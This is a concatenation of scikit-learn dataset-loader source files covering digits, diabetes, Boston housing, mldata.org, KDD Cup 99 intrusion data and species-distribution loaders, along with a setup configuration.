                 target_names=target_names,
                 DESCR=fdescr,
                 feature_names=feature_names)


def load_digits(n_class=10, return_X_y=False):
    """Load and return the digits dataset (classification).

    Each datapoint is a 8x8 image of a digit.

    =================   ==============
    Classes                         10
    Samples per class             ~180
    Samples total                 1797
    Dimensionality                  64
    Features             integers 0-16
    =================   ==============

    Read more in the :ref:`User Guide <datasets>`.

    Parameters
    ----------
    n_class : integer, between 0 and 10, optional (default=10)
        The number of classes to return.

    return_X_y : boolean, default=False.
        If True, returns ``(data, target)`` instead of a Bunch object.
        See below for more information about the `data` and `target` object.

        .. versionadded:: 0.18

    Returns
    -------
    data : Bunch
        Dictionary-like object, the interesting attributes are:
        'data', the data to learn, 'images', the images corresponding
        to each sample, 'target', the classification labels for each
        sample, 'target_names', the meaning of the labels, and 'DESCR',
        the full description of the dataset.

    (data, target) : tuple if ``return_X_y`` is True

        .. versionadded:: 0.18

    Examples
    --------
    To load the data and visualize the images::

        >>> from sklearn.datasets import load_digits
        >>> digits = load_digits()
        >>> print(digits.data.shape)
        (1797, 64)
        >>> import matplotlib.pyplot as plt #doctest: +SKIP
        >>> plt.gray() #doctest: +SKIP
        >>> plt.matshow(digits.images[0]) #doctest: +SKIP
        >>> plt.show() #doctest: +SKIP
    """
    module_path = dirname(__file__)
    data = np.loadtxt(join(module_path, 'data', 'digits.csv.gz'),
                      delimiter=',')
    with open(join(module_path, 'descr', 'digits.rst')) as f:
        descr = f.read()
    target = data[:, -1].astype(np.int)
    flat_data = data[:, :-1]
    images = flat_data.view()
    images.shape = (-1, 8, 8)

    if n_class < 10:
        idx = target < n_class
        flat_data, target = flat_data[idx], target[idx]
        images = images[idx]

    if return_X_y:
        return flat_data, target

    return Bunch(data=flat_data,
                 target=target,
                 target_names=np.arange(10),
                 images=images,
                 DESCR=descr)


def load_diabetes(return_X_y=False):
    """Load and return the diabetes dataset (regression).

    ==============      ==================
    Samples total       442
    Dimensionality      10
    Features            real, -.2 < x < .2
    Targets             integer 25 - 346
    ==============      ==================

    Read more in the :ref:`User Guide <datasets>`.

    Parameters
    ----------
    return_X_y : boolean, default=False.
        If True, returns ``(data, target)`` instead of a Bunch object.
        See below for more information about the `data` and `target` object.

        .. versionadded:: 0.18

    Returns
    -------
    data : Bunch
        Dictionary-like object, the interesting attributes are:
        'data', the data to learn and 'target', the regression target for each
        sample.

    (data, target) : tuple if ``return_X_y`` is True

        .. versionadded:: 0.18    
    """
    base_dir = join(dirname(__file__), 'data')
    data = np.loadtxt(join(base_dir, 'diabetes_data.csv.gz'))
    target = np.loadtxt(join(base_dir, 'diabetes_target.csv.gz'))
    
    if return_X_y:
        return data, target

    return Bunch(data=data, target=target)


def load_linnerud(return_X_y=False):
    """Load and return the linnerud dataset (multivariate regression).

    Samples total: 20
    Dimensionality: 3 for both data and targets
    Features: integer
    Targets: integer

    Parameters
    ----------
    return_X_y : boolean, default=False.
        If True, returns ``(data, target)`` instead of a Bunch object.
        See below for more information about the `data` and `target` object.

        .. versionadded:: 0.18

    Returns
    -------
    data : Bunch
        Dictionary-like object, the interesting attributes are: 'data' and
        'targets', the two multivariate datasets, with 'data' corresponding to
        the exercise and 'targets' corresponding to the physiological
        measurements, as well as 'feature_names' and 'target_names'.
    
    (data, target) : tuple if ``return_X_y`` is True

        .. versionadded:: 0.18
    """
    base_dir = join(dirname(__file__), 'data/')
    # Read data
    data_exercise = np.loadtxt(base_dir + 'linnerud_exercise.csv', skiprows=1)
    data_physiological = np.loadtxt(base_dir + 'linnerud_physiological.csv',
                                    skiprows=1)
    # Read header
    with open(base_dir + 'linnerud_exercise.csv') as f:
        header_exercise = f.readline().split()
    with open(base_dir + 'linnerud_physiological.csv') as f:
        header_physiological = f.readline().split()
    with open(dirname(__file__) + '/descr/linnerud.rst') as f:
        descr = f.read()

    if return_X_y:
        return data_exercise, data_physiological

    return Bunch(data=data_exercise, feature_names=header_exercise,
                 target=data_physiological,
                 target_names=header_physiological,
                 DESCR=descr)


def load_boston(return_X_y=False):
    """Load and return the boston house-prices dataset (regression).

    ==============     ==============
    Samples total                 506
    Dimensionality                 13
    Features           real, positive
    Targets             real 5. - 50.
    ==============     ==============

    Parameters
    ----------
    return_X_y : boolean, default=False.
        If True, returns ``(data, target)`` instead of a Bunch object.
        See below for more information about the `data` and `target` object.

        .. versionadded:: 0.18

    Returns
    -------
    data : Bunch
        Dictionary-like object, the interesting attributes are:
        'data', the data to learn, 'target', the regression targets,
        and 'DESCR', the full description of the dataset.

    (data, target) : tuple if ``return_X_y`` is True

        .. versionadded:: 0.18    

    Examples
    --------
    >>> from sklearn.datasets import load_boston
    >>> boston = load_boston()
    >>> print(boston.data.shape)
    (506, 13)
    """
    module_path = dirname(__file__)

    fdescr_name = join(module_path, 'descr', 'boston_house_prices.rst')
    with open(fdescr_name) as f:
        descr_text = f.read()

    data_file_name = join(module_path, 'data', 'boston_house_prices.csv')
    with open(data_file_name) as f:
        data_file = csv.reader(f)
        temp = next(data_file)
        n_samples = int(temp[0])
        n_features = int(temp[1])
        data = np.empty((n_samples, n_features))
        target = np.empty((n_samples,))
        temp = next(data_file)  # names of features
        feature_names = np.array(temp)

        for i, d in enumerate(data_file):
            data[i] = np.asarray(d[:-1], dtype=np.float64)
            target[i] = np.asarray(d[-1], dtype=np.float64)

    if return_X_y:
        return data, target

    return Bunch(data=data,
                 target=target,
                 # last column is target value
                 feature_names=feature_names[:-1],
                 DESCR=descr_text)


def load_sample_images():
    """Load sample images for image manipulation.
    Loads both, ``china`` and ``flower``.

    Returns
    -------
    data : Bunch
        Dictionary-like object with the following attributes :
        'images', the two sample images, 'filenames', the file
        names for the images, and 'DESCR'
        the full description of the dataset.

    Examples
    --------
    To load the data and visualize the images:

    >>> from sklearn.datasets import load_sample_images
    >>> dataset = load_sample_images()     #doctest: +SKIP
    >>> len(dataset.images)                #doctest: +SKIP
    2
    >>> first_img_data = dataset.images[0] #doctest: +SKIP
    >>> first_img_data.shape               #doctest: +SKIP
    (427, 640, 3)
    >>> first_img_data.dtype               #doctest: +SKIP
    dtype('uint8')
    """
    # Try to import imread from scipy. We do this lazily here to prevent
    # this module from depending on PIL.
    try:
        try:
            from scipy.misc import imread
        except ImportError:
            from scipy.misc.pilutil import imread
    except ImportError:
        raise ImportError("The Python Imaging Library (PIL) "
                          "is required to load data from jpeg files")
    module_path = join(dirname(__file__), "images")
    with open(join(module_path, 'README.txt')) as f:
        descr = f.read()
    filenames = [join(module_path, filename)
                 for filename in os.listdir(module_path)
                 if filename.endswith(".jpg")]
    # Load image data for each image in the source folder.
    images = [imread(filename) for filename in filenames]

    return Bunch(images=images,
                 filenames=filenames,
                 DESCR=descr)


def load_sample_image(image_name):
    """Load the numpy array of a single sample image

    Parameters
    -----------
    image_name: {`china.jpg`, `flower.jpg`}
        The name of the sample image loaded

    Returns
    -------
    img: 3D array
        The image as a numpy array: height x width x color

    Examples
    ---------

    >>> from sklearn.datasets import load_sample_image
    >>> china = load_sample_image('china.jpg')   # doctest: +SKIP
    >>> china.dtype                              # doctest: +SKIP
    dtype('uint8')
    >>> china.shape                              # doctest: +SKIP
    (427, 640, 3)
    >>> flower = load_sample_image('flower.jpg') # doctest: +SKIP
    >>> flower.dtype                             # doctest: +SKIP
    dtype('uint8')
    >>> flower.shape                             # doctest: +SKIP
    (427, 640, 3)
    """
    images = load_sample_images()
    index = None
    for i, filename in enumerate(images.filenames):
        if filename.endswith(image_name):
            index = i
            break
    if index is None:
        raise AttributeError("Cannot find sample image: %s" % image_name)
    return images.images[index]


def _pkl_filepath(*args, **kwargs):
    """Ensure different filenames for Python 2 and Python 3 pickles

    An object pickled under Python 3 cannot be loaded under Python 2.
    An object pickled under Python 2 can sometimes not be loaded
    correctly under Python 3 because some Python 2 strings are decoded as
    Python 3 strings which can be problematic for objects that use Python 2
    strings as byte buffers for numerical data instead of "real" strings.

    Therefore, dataset loaders in scikit-learn use different files for pickles
    manages by Python 2 and Python 3 in the same SCIKIT_LEARN_DATA folder so
    as to avoid conflicts.

    args[-1] is expected to be the ".pkl" filename. Under Python 3, a
    suffix is inserted before the extension to s

    _pkl_filepath('/path/to/folder', 'filename.pkl') returns:
      - /path/to/folder/filename.pkl under Python 2
      - /path/to/folder/filename_py3.pkl under Python 3+

    """
    py3_suffix = kwargs.get("py3_suffix", "_py3")
    basename, ext = splitext(args[-1])
    if sys.version_info[0] >= 3:
        basename += py3_suffix
    new_args = args[:-1] + (basename + ext,)
    return join(*new_args)






"""Automatically download MLdata datasets."""

# Copyright (c) 2011 Pietro Berkes
# License: BSD 3 clause

import os
from os.path import join, exists
import re
import numbers
try:
    # Python 2
    from urllib2 import HTTPError
    from urllib2 import quote
    from urllib2 import urlopen
except ImportError:
    # Python 3+
    from urllib.error import HTTPError
    from urllib.parse import quote
    from urllib.request import urlopen

import numpy as np
import scipy as sp
from scipy import io
from shutil import copyfileobj

from .base import get_data_home, Bunch

MLDATA_BASE_URL = "http://mldata.org/repository/data/download/matlab/%s"


def mldata_filename(dataname):
    """Convert a raw name for a data set in a mldata.org filename."""
    dataname = dataname.lower().replace(' ', '-')
    return re.sub(r'[().]', '', dataname)


def fetch_mldata(dataname, target_name='label', data_name='data',
                 transpose_data=True, data_home=None):
    """Fetch an mldata.org data set

    If the file does not exist yet, it is downloaded from mldata.org .

    mldata.org does not have an enforced convention for storing data or
    naming the columns in a data set. The default behavior of this function
    works well with the most common cases:

      1) data values are stored in the column 'data', and target values in the
         column 'label'
      2) alternatively, the first column stores target values, and the second
         data values
      3) the data array is stored as `n_features x n_samples` , and thus needs
         to be transposed to match the `sklearn` standard

    Keyword arguments allow to adapt these defaults to specific data sets
    (see parameters `target_name`, `data_name`, `transpose_data`, and
    the examples below).

    mldata.org data sets may have multiple columns, which are stored in the
    Bunch object with their original name.

    Parameters
    ----------

    dataname:
        Name of the data set on mldata.org,
        e.g.: "leukemia", "Whistler Daily Snowfall", etc.
        The raw name is automatically converted to a mldata.org URL .

    target_name: optional, default: 'label'
        Name or index of the column containing the target values.

    data_name: optional, default: 'data'
        Name or index of the column containing the data.

    transpose_data: optional, default: True
        If True, transpose the downloaded data array.

    data_home: optional, default: None
        Specify another download and cache folder for the data sets. By default
        all scikit learn data is stored in '~/scikit_learn_data' subfolders.

    Returns
    -------

    data : Bunch
        Dictionary-like object, the interesting attributes are:
        'data', the data to learn, 'target', the classification labels,
        'DESCR', the full description of the dataset, and
        'COL_NAMES', the original names of the dataset columns.

    Examples
    --------
    Load the 'iris' dataset from mldata.org:

    >>> from sklearn.datasets.mldata import fetch_mldata
    >>> import tempfile
    >>> test_data_home = tempfile.mkdtemp()

    >>> iris = fetch_mldata('iris', data_home=test_data_home)
    >>> iris.target.shape
    (150,)
    >>> iris.data.shape
    (150, 4)

    Load the 'leukemia' dataset from mldata.org, which needs to be transposed
    to respects the sklearn axes convention:

    >>> leuk = fetch_mldata('leukemia', transpose_data=True,
    ...                     data_home=test_data_home)
    >>> leuk.data.shape
    (72, 7129)

    Load an alternative 'iris' dataset, which has different names for the
    columns:

    >>> iris2 = fetch_mldata('datasets-UCI iris', target_name=1,
    ...                      data_name=0, data_home=test_data_home)
    >>> iris3 = fetch_mldata('datasets-UCI iris',
    ...                      target_name='class', data_name='double0',
    ...                      data_home=test_data_home)

    >>> import shutil
    >>> shutil.rmtree(test_data_home)
    """

    # normalize dataset name
    dataname = mldata_filename(dataname)

    # check if this data set has been already downloaded
    data_home = get_data_home(data_home=data_home)
    data_home = join(data_home, 'mldata')
    if not exists(data_home):
        os.makedirs(data_home)

    matlab_name = dataname + '.mat'
    filename = join(data_home, matlab_name)

    # if the file does not exist, download it
    if not exists(filename):
        urlname = MLDATA_BASE_URL % quote(dataname)
        try:
            mldata_url = urlopen(urlname)
        except HTTPError as e:
            if e.code == 404:
                e.msg = "Dataset '%s' not found on mldata.org." % dataname
            raise
        # store Matlab file
        try:
            with open(filename, 'w+b') as matlab_file:
                copyfileobj(mldata_url, matlab_file)
        except:
            os.remove(filename)
            raise
        mldata_url.close()

    # load dataset matlab file
    with open(filename, 'rb') as matlab_file:
        matlab_dict = io.loadmat(matlab_file, struct_as_record=True)

    # -- extract data from matlab_dict

    # flatten column names
    col_names = [str(descr[0])
                 for descr in matlab_dict['mldata_descr_ordering'][0]]

    # if target or data names are indices, transform then into names
    if isinstance(target_name, numbers.Integral):
        target_name = col_names[target_name]
    if isinstance(data_name, numbers.Integral):
        data_name = col_names[data_name]

    # rules for making sense of the mldata.org data format
    # (earlier ones have priority):
    # 1) there is only one array => it is "data"
    # 2) there are multiple arrays
    #    a) copy all columns in the bunch, using their column name
    #    b) if there is a column called `target_name`, set "target" to it,
    #        otherwise set "target" to first column
    #    c) if there is a column called `data_name`, set "data" to it,
    #        otherwise set "data" to second column

    dataset = {'DESCR': 'mldata.org dataset: %s' % dataname,
               'COL_NAMES': col_names}

    # 1) there is only one array => it is considered data
    if len(col_names) == 1:
        data_name = col_names[0]
        dataset['data'] = matlab_dict[data_name]
    # 2) there are multiple arrays
    else:
        for name in col_names:
            dataset[name] = matlab_dict[name]

        if target_name in col_names:
            del dataset[target_name]
            dataset['target'] = matlab_dict[target_name]
        else:
            del dataset[col_names[0]]
            dataset['target'] = matlab_dict[col_names[0]]

        if data_name in col_names:
            del dataset[data_name]
            dataset['data'] = matlab_dict[data_name]
        else:
            del dataset[col_names[1]]
            dataset['data'] = matlab_dict[col_names[1]]

    # set axes to sklearn conventions
    if transpose_data:
        dataset['data'] = dataset['data'].T
    if 'target' in dataset:
        if not sp.sparse.issparse(dataset['target']):
            dataset['target'] = dataset['target'].squeeze()

    return Bunch(**dataset)


# The following is used by nosetests to setup the docstring tests fixture

def setup_module(module):
    # setup mock urllib2 module to avoid downloading from mldata.org
    from sklearn.utils.testing import install_mldata_mock
    install_mldata_mock({
        'iris': {
            'data': np.empty((150, 4)),
            'label': np.empty(150),
        },
        'datasets-uci-iris': {
            'double0': np.empty((150, 4)),
            'class': np.empty((150,)),
        },
        'leukemia': {
            'data': np.empty((72, 7129)),
        },
    })


def teardown_module(module):
    from sklearn.utils.testing import uninstall_mldata_mock
    uninstall_mldata_mock()






"""KDDCUP 99 dataset.

A classic dataset for anomaly detection.

The dataset page is available from UCI Machine Learning Repository

https://archive.ics.uci.edu/ml/machine-learning-databases/kddcup99-mld/kddcup.data.gz

"""

import sys
import errno
from gzip import GzipFile
from io import BytesIO
import logging
import os
from os.path import exists, join
try:
    from urllib2 import urlopen
except ImportError:
    from urllib.request import urlopen

import numpy as np

from .base import get_data_home
from .base import Bunch
from ..externals import joblib, six
from ..utils import check_random_state
from ..utils import shuffle as shuffle_method


URL10 = ('http://archive.ics.uci.edu/ml/'
         'machine-learning-databases/kddcup99-mld/kddcup.data_10_percent.gz')

URL = ('http://archive.ics.uci.edu/ml/'
       'machine-learning-databases/kddcup99-mld/kddcup.data.gz')


logger = logging.getLogger()


def fetch_kddcup99(subset=None, shuffle=False, random_state=None,
                   percent10=True, download_if_missing=True):
    """Load and return the kddcup 99 dataset (classification).

    The KDD Cup '99 dataset was created by processing the tcpdump portions
    of the 1998 DARPA Intrusion Detection System (IDS) Evaluation dataset,
    created by MIT Lincoln Lab [1] . The artificial data was generated using
    a closed network and hand-injected attacks to produce a large number of
    different types of attack with normal activity in the background.
    As the initial goal was to produce a large training set for supervised
    learning algorithms, there is a large proportion (80.1%) of abnormal
    data which is unrealistic in real world, and inappropriate for unsupervised
    anomaly detection which aims at detecting 'abnormal' data, ie

    1) qualitatively different from normal data.

    2) in large minority among the observations.

    We thus transform the KDD Data set into two different data sets: SA and SF.

    - SA is obtained by simply selecting all the normal data, and a small
      proportion of abnormal data to gives an anomaly proportion of 1%.

    - SF is obtained as in [2]
      by simply picking up the data whose attribute logged_in is positive, thus
      focusing on the intrusion attack, which gives a proportion of 0.3% of
      attack.

    - http and smtp are two subsets of SF corresponding with third feature
      equal to 'http' (resp. to 'smtp')


    General KDD structure :

    ================      ==========================================
    Samples total         4898431
    Dimensionality        41
    Features              discrete (int) or continuous (float)
    Targets               str, 'normal.' or name of the anomaly type
    ================      ==========================================

    SA structure :

    ================      ==========================================
    Samples total         976158
    Dimensionality        41
    Features              discrete (int) or continuous (float)
    Targets               str, 'normal.' or name of the anomaly type
    ================      ==========================================

    SF structure :

    ================      ==========================================
    Samples total         699691
    Dimensionality        4
    Features              discrete (int) or continuous (float)
    Targets               str, 'normal.' or name of the anomaly type
    ================      ==========================================

    http structure :

    ================      ==========================================
    Samples total         619052
    Dimensionality        3
    Features              discrete (int) or continuous (float)
    Targets               str, 'normal.' or name of the anomaly type
    ================      ==========================================

    smtp structure :

    ================      ==========================================
    Samples total         95373
    Dimensionality        3
    Features              discrete (int) or continuous (float)
    Targets               str, 'normal.' or name of the anomaly type
    ================      ==========================================

    Parameters
    ----------
    subset : None, 'SA', 'SF', 'http', 'smtp'
        To return the corresponding classical subsets of kddcup 99.
        If None, return the entire kddcup 99 dataset.

    random_state : int, RandomState instance or None, optional (default=None)
        Random state for shuffling the dataset.
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    shuffle : bool, default=False
        Whether to shuffle dataset.

    percent10 : bool, default=False
        Whether to load only 10 percent of the data.

    download_if_missing : bool, default=True
        If False, raise a IOError if the data is not locally available
        instead of trying to download the data from the source site.

    Returns
    -------
    data : Bunch
        Dictionary-like object, the interesting attributes are:
        'data', the data to learn and 'target', the regression target for each
        sample.


    References
    ----------
    .. [1] Analysis and Results of the 1999 DARPA Off-Line Intrusion
           Detection Evaluation Richard Lippmann, Joshua W. Haines,
           David J. Fried, Jonathan Korba, Kumar Das

    .. [2] A Geometric Framework for Unsupervised Anomaly Detection: Detecting
           Intrusions in Unlabeled Data (2002) by Eleazar Eskin, Andrew Arnold,
           Michael Prerau, Leonid Portnoy, Sal Stolfo
    """
    kddcup99 = _fetch_brute_kddcup99(shuffle=shuffle, percent10=percent10,
                                     download_if_missing=download_if_missing)

    data = kddcup99.data
    target = kddcup99.target

    if subset == 'SA':
        s = target == b'normal.'
        t = np.logical_not(s)
        normal_samples = data[s, :]
        normal_targets = target[s]
        abnormal_samples = data[t, :]
        abnormal_targets = target[t]

        n_samples_abnormal = abnormal_samples.shape[0]
        # selected abnormal samples:
        random_state = check_random_state(random_state)
        r = random_state.randint(0, n_samples_abnormal, 3377)
        abnormal_samples = abnormal_samples[r]
        abnormal_targets = abnormal_targets[r]

        data = np.r_[normal_samples, abnormal_samples]
        target = np.r_[normal_targets, abnormal_targets]

    if subset == 'SF' or subset == 'http' or subset == 'smtp':
        # select all samples with positive logged_in attribute:
        s = data[:, 11] == 1
        data = np.c_[data[s, :11], data[s, 12:]]
        target = target[s]

        data[:, 0] = np.log((data[:, 0] + 0.1).astype(float))
        data[:, 4] = np.log((data[:, 4] + 0.1).astype(float))
        data[:, 5] = np.log((data[:, 5] + 0.1).astype(float))

        if subset == 'http':
            s = data[:, 2] == b'http'
            data = data[s]
            target = target[s]
            data = np.c_[data[:, 0], data[:, 4], data[:, 5]]

        if subset == 'smtp':
            s = data[:, 2] == b'smtp'
            data = data[s]
            target = target[s]
            data = np.c_[data[:, 0], data[:, 4], data[:, 5]]

        if subset == 'SF':
            data = np.c_[data[:, 0], data[:, 2], data[:, 4], data[:, 5]]

    return Bunch(data=data, target=target)


def _fetch_brute_kddcup99(subset=None, data_home=None,
                          download_if_missing=True, random_state=None,
                          shuffle=False, percent10=False):

    """Load the kddcup99 dataset, downloading it if necessary.

    Parameters
    ----------
    subset : None, 'SA', 'SF', 'http', 'smtp'
        To return the corresponding classical subsets of kddcup 99.
        If None, return the entire kddcup 99 dataset.

    data_home : string, optional
        Specify another download and cache folder for the datasets. By default
        all scikit learn data is stored in '~/scikit_learn_data' subfolders.

    download_if_missing : boolean, default=True
        If False, raise a IOError if the data is not locally available
        instead of trying to download the data from the source site.

    random_state : int, RandomState instance or None, optional (default=None)
        Random state for shuffling the dataset.
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    shuffle : bool, default=False
        Whether to shuffle dataset.

    percent10 : bool, default=False
        Whether to load only 10 percent of the data.

    Returns
    -------
    dataset : dict-like object with the following attributes:
        dataset.data : numpy array of shape (494021, 41)
            Each row corresponds to the 41 features in the dataset.
        dataset.target : numpy array of shape (494021,)
            Each value corresponds to one of the 21 attack types or to the
            label 'normal.'.
        dataset.DESCR : string
            Description of the kddcup99 dataset.

    """

    data_home = get_data_home(data_home=data_home)
    if sys.version_info[0] == 3:
        # The zlib compression format use by joblib is not compatible when
        # switching from Python 2 to Python 3, let us use a separate folder
        # under Python 3:
        dir_suffix = "-py3"
    else:
        # Backward compat for Python 2 users
        dir_suffix = ""
    if percent10:
        kddcup_dir = join(data_home, "kddcup99_10" + dir_suffix)
    else:
        kddcup_dir = join(data_home, "kddcup99" + dir_suffix)
    samples_path = join(kddcup_dir, "samples")
    targets_path = join(kddcup_dir, "targets")
    available = exists(samples_path)

    if download_if_missing and not available:
        _mkdirp(kddcup_dir)
        URL_ = URL10 if percent10 else URL
        logger.warning("Downloading %s" % URL_)
        f = BytesIO(urlopen(URL_).read())

        dt = [('duration', int),
              ('protocol_type', 'S4'),
              ('service', 'S11'),
              ('flag', 'S6'),
              ('src_bytes', int),
              ('dst_bytes', int),
              ('land', int),
              ('wrong_fragment', int),
              ('urgent', int),
              ('hot', int),
              ('num_failed_logins', int),
              ('logged_in', int),
              ('num_compromised', int),
              ('root_shell', int),
              ('su_attempted', int),
              ('num_root', int),
              ('num_file_creations', int),
              ('num_shells', int),
              ('num_access_files', int),
              ('num_outbound_cmds', int),
              ('is_host_login', int),
              ('is_guest_login', int),
              ('count', int),
              ('srv_count', int),
              ('serror_rate', float),
              ('srv_serror_rate', float),
              ('rerror_rate', float),
              ('srv_rerror_rate', float),
              ('same_srv_rate', float),
              ('diff_srv_rate', float),
              ('srv_diff_host_rate', float),
              ('dst_host_count', int),
              ('dst_host_srv_count', int),
              ('dst_host_same_srv_rate', float),
              ('dst_host_diff_srv_rate', float),
              ('dst_host_same_src_port_rate', float),
              ('dst_host_srv_diff_host_rate', float),
              ('dst_host_serror_rate', float),
              ('dst_host_srv_serror_rate', float),
              ('dst_host_rerror_rate', float),
              ('dst_host_srv_rerror_rate', float),
              ('labels', 'S16')]
        DT = np.dtype(dt)

        file_ = GzipFile(fileobj=f, mode='r')
        Xy = []
        for line in file_.readlines():
            if six.PY3:
                line = line.decode()
            Xy.append(line.replace('\n', '').split(','))
        file_.close()
        print('extraction done')
        Xy = np.asarray(Xy, dtype=object)
        for j in range(42):
            Xy[:, j] = Xy[:, j].astype(DT[j])

        X = Xy[:, :-1]
        y = Xy[:, -1]
        # XXX bug when compress!=0:
        # (error: 'Incorrect data length while decompressing[...] the file
        #  could be corrupted.')

        joblib.dump(X, samples_path, compress=0)
        joblib.dump(y, targets_path, compress=0)

    try:
        X, y
    except NameError:
        X = joblib.load(samples_path)
        y = joblib.load(targets_path)

    if shuffle:
        X, y = shuffle_method(X, y, random_state=random_state)

    return Bunch(data=X, target=y, DESCR=__doc__)


def _mkdirp(d):
    """Ensure directory d exists (like mkdir -p on Unix)
    No guarantee that the directory is writable.
    """
    try:
        os.makedirs(d)
    except OSError as e:
        if e.errno != errno.EEXIST:
            raise






"""
=============================
Species distribution dataset
=============================

This dataset represents the geographic distribution of species.
The dataset is provided by Phillips et. al. (2006).

The two species are:

 - `"Bradypus variegatus"
   <http://www.iucnredlist.org/details/3038/0>`_ ,
   the Brown-throated Sloth.

 - `"Microryzomys minutus"
   <http://www.iucnredlist.org/details/13408/0>`_ ,
   also known as the Forest Small Rice Rat, a rodent that lives in Peru,
   Colombia, Ecuador, Peru, and Venezuela.

References:

 * `"Maximum entropy modeling of species geographic distributions"
   <http://www.cs.princeton.edu/~schapire/papers/ecolmod.pdf>`_
   S. J. Phillips, R. P. Anderson, R. E. Schapire - Ecological Modelling,
   190:231-259, 2006.

Notes:

 * See examples/applications/plot_species_distribution_modeling.py
   for an example of using this dataset
"""

# Authors: Peter Prettenhofer <peter.prettenhofer@gmail.com>
#          Jake Vanderplas <vanderplas@astro.washington.edu>
#
# License: BSD 3 clause

from io import BytesIO
from os import makedirs
from os.path import exists

try:
    # Python 2
    from urllib2 import urlopen
    PY2 = True
except ImportError:
    # Python 3
    from urllib.request import urlopen
    PY2 = False

import numpy as np

from sklearn.datasets.base import get_data_home, Bunch
from sklearn.datasets.base import _pkl_filepath
from sklearn.externals import joblib

DIRECTORY_URL = "http://www.cs.princeton.edu/~schapire/maxent/datasets/"

SAMPLES_URL = DIRECTORY_URL + "samples.zip"
COVERAGES_URL = DIRECTORY_URL + "coverages.zip"

DATA_ARCHIVE_NAME = "species_coverage.pkz"


def _load_coverage(F, header_length=6, dtype=np.int16):
    """Load a coverage file from an open file object.

    This will return a numpy array of the given dtype
    """
    header = [F.readline() for i in range(header_length)]
    make_tuple = lambda t: (t.split()[0], float(t.split()[1]))
    header = dict([make_tuple(line) for line in header])

    M = np.loadtxt(F, dtype=dtype)
    nodata = int(header[b'NODATA_value'])
    if nodata != -9999:
        M[nodata] = -9999
    return M


def _load_csv(F):
    """Load csv file.

    Parameters
    ----------
    F : file object
        CSV file open in byte mode.

    Returns
    -------
    rec : np.ndarray
        record array representing the data
    """
    if PY2:
        # Numpy recarray wants Python 2 str but not unicode
        names = F.readline().strip().split(',')
    else:
        # Numpy recarray wants Python 3 str but not bytes...
        names = F.readline().decode('ascii').strip().split(',')
    rec = np.loadtxt(F, skiprows=0, delimiter=',', dtype='a22,f4,f4')
    rec.dtype.names = names
    return rec


def construct_grids(batch):
    """Construct the map grid from the batch object

    Parameters
    ----------
    batch : Batch object
        The object returned by :func:`fetch_species_distributions`

    Returns
    -------
    (xgrid, ygrid) : 1-D arrays
        The grid corresponding to the values in batch.coverages
    """
    # x,y coordinates for corner cells
    xmin = batch.x_left_lower_corner + batch.grid_size
    xmax = xmin + (batch.Nx * batch.grid_size)
    ymin = batch.y_left_lower_corner + batch.grid_size
    ymax = ymin + (batch.Ny * batch.grid_size)

    # x coordinates of the grid cells
    xgrid = np.arange(xmin, xmax, batch.grid_size)
    # y coordinates of the grid cells
    ygrid = np.arange(ymin, ymax, batch.grid_size)

    return (xgrid, ygrid)


def fetch_species_distributions(data_home=None,
                                download_if_missing=True):
    """Loader for species distribution dataset from Phillips et. al. (2006)

    Read more in the :ref:`User Guide <datasets>`.

    Parameters
    ----------
    data_home : optional, default: None
        Specify another download and cache folder for the datasets. By default
        all scikit learn data is stored in '~/scikit_learn_data' subfolders.

    download_if_missing: optional, True by default
        If False, raise a IOError if the data is not locally available
        instead of trying to download the data from the source site.

    Returns
    --------
    The data is returned as a Bunch object with the following attributes:

    coverages : array, shape = [14, 1592, 1212]
        These represent the 14 features measured at each point of the map grid.
        The latitude/longitude values for the grid are discussed below.
        Missing data is represented by the value -9999.

    train : record array, shape = (1623,)
        The training points for the data.  Each point has three fields:

        - train['species'] is the species name
        - train['dd long'] is the longitude, in degrees
        - train['dd lat'] is the latitude, in degrees

    test : record array, shape = (619,)
        The test points for the data.  Same format as the training data.

    Nx, Ny : integers
        The number of longitudes (x) and latitudes (y) in the grid

    x_left_lower_corner, y_left_lower_corner : floats
        The (x,y) position of the lower-left corner, in degrees

    grid_size : float
        The spacing between points of the grid, in degrees

    Notes
    ------

    This dataset represents the geographic distribution of species.
    The dataset is provided by Phillips et. al. (2006).

    The two species are:

    - `"Bradypus variegatus"
      <http://www.iucnredlist.org/details/3038/0>`_ ,
      the Brown-throated Sloth.

    - `"Microryzomys minutus"
      <http://www.iucnredlist.org/details/13408/0>`_ ,
      also known as the Forest Small Rice Rat, a rodent that lives in Peru,
      Colombia, Ecuador, Peru, and Venezuela.

    References
    ----------

    * `"Maximum entropy modeling of species geographic distributions"
      <http://www.cs.princeton.edu/~schapire/papers/ecolmod.pdf>`_
      S. J. Phillips, R. P. Anderson, R. E. Schapire - Ecological Modelling,
      190:231-259, 2006.

    Notes
    -----

    * See examples/applications/plot_species_distribution_modeling.py
      for an example of using this dataset with scikit-learn

    """
    data_home = get_data_home(data_home)
    if not exists(data_home):
        makedirs(data_home)

    # Define parameters for the data files.  These should not be changed
    # unless the data model changes.  They will be saved in the npz file
    # with the downloaded data.
    extra_params = dict(x_left_lower_corner=-94.8,
                        Nx=1212,
                        y_left_lower_corner=-56.05,
                        Ny=1592,
                        grid_size=0.05)
    dtype = np.int16

    archive_path = _pkl_filepath(data_home, DATA_ARCHIVE_NAME)

    if not exists(archive_path):
        print('Downloading species data from %s to %s' % (SAMPLES_URL,
                                                          data_home))
        X = np.load(BytesIO(urlopen(SAMPLES_URL).read()))

        for f in X.files:
            fhandle = BytesIO(X[f])
            if 'train' in f:
                train = _load_csv(fhandle)
            if 'test' in f:
                test = _load_csv(fhandle)

        print('Downloading coverage data from %s to %s' % (COVERAGES_URL,
                                                           data_home))

        X = np.load(BytesIO(urlopen(COVERAGES_URL).read()))

        coverages = []
        for f in X.files:
            fhandle = BytesIO(X[f])
            print(' - converting', f)
            coverages.append(_load_coverage(fhandle))
        coverages = np.asarray(coverages, dtype=dtype)

        bunch = Bunch(coverages=coverages,
                      test=test,
                      train=train,
                      **extra_params)
        joblib.dump(bunch, archive_path, compress=9)
    else:
        bunch = joblib.load(archive_path)

    return bunch







import numpy
import os


def configuration(parent_package='', top_path=None):
    from numpy.distutils.misc_util import Configuration
    config = Configuration('datasets', parent_package, top_path)
    config.add_data_dir('data')
    config.add_data_dir('descr')
    config.add_data_dir('images')
    config.add_data_dir(os.path.join('tests', 'data'))
